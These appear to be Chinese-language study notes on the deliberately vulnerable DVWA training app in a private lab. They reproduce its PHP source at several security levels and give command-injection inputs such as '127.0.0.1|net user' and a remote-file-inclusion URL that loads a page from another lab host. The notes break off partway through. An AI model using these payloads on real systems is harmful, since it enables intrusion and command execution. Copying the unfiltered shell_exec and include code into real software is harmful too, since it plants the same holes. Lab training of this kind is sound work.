1
http://192.168.100.48:88/index.php
2
http://192.168.100.48:88/DVWA-1.0.8/login.php admin/password
Brute Force
low
代码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
漏洞利用
medium
代码:
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
条件:
(isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])
isset():
检测变量是否设置,并且不是 NULL。___mysqli_ston
link=( GLOBALS[“___mysqli_ston”] = mysqli_connect( hostname, username, $pwd));
相当于数据库连接
- is_object()
— 检测变量是否是一个对象
- mysqli_real_escape_string():
转义特殊字符,比如转义单引号,防止影响$sql语句的闭合
php连接MySQL数据库后,在对数据库进行查询或插入操作时,为了防止恶意访问,通常对输入的字符串进行转义。
前一章介绍了mysql与mysqli的区别,如果采用mysql库连接数据库,转义函数有两个
mysql_real_escape_string(string,connection);//第一个参数为需转义字符串,第二个参数为数据库连接。
mysql_escape_string(string);//参数为需转义字符串
从以上函数的定义可以看出,前者需要先连接数据库,而后者不需要。但是mysql的转义方式在php5.3以上的版本中已经弃用,不推荐使用。
漏洞利用:
high
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
//检查token,防止表单重复提交
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
//stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
提示:该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Command Injection
Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。
low
代码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
//stristr() 函数搜索字符串在另一字符串中的第一次出现。
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
- php_uname(mode)
这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。
可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。
漏洞利用:
127.0.0.1&&net user
medium
代码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
//去掉所有&&或者;符号
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
漏洞利用:
127.0.0.1&net user
127.0.0.1&;&net user
high:
代码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
//trim() 函数移除字符串两侧的空白字符或其他预定义字符。
//移除ip以外的字符
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
//去除黑名单中所有的字符
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
漏洞利用:
127.0.0.1|net user
Impossible
代码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
//以某字符串为界限把xx打散为数组:
// Check IF each octet is an integer
// 检查是否为整数
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
//如果都是整数的话,再把4个数字连接起来
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
漏洞利用:
可以看到,Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。
参考list:
新手指南:DVWA-1.9全级别教程之Command Injection
File Inclusion 文件包含
low
http://192.168.100.49/DVWA-master/vulnerabilities/fi/?page=file1.php
http://192.168.100.49/DVWA-master/vulnerabilities/fi/?page=file2.php
http://192.168.100.49/DVWA-master/vulnerabilities/fi/?page=file3.php
代码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
未对page进行过滤,如果知道本地文件就可以读取出来
服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。
漏洞利用:
1。本地文件包含:
构造url(绝对路径):
构造url(相对路径):
加这么多..\是为了保证到达服务器的C盘根目录,可以看到读取是成功的。
2。远程文件包含:
http://192.168.100.45/info.php
构造url
http://192.168.100.49/DVWA-master/vulnerabilities/fi/?page=http://192.168.100.45/info.php
medium
代码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
//删除 http:// https:// ../ ..\等字符
漏洞利用:
双写绕过
攻击代码:
http://192.168.191.5/DVWA-master/vulnerabilities/fi/?page=http://192.168.191.4/info.php
high
#
3
http://192.168.100.48:7001/console/login/LoginForm.jsp
4
http://192.168.0.117/xss/level1.php?name=test
总结:
- 看源码时,无非就是变量和函数,最多就是还有一些语法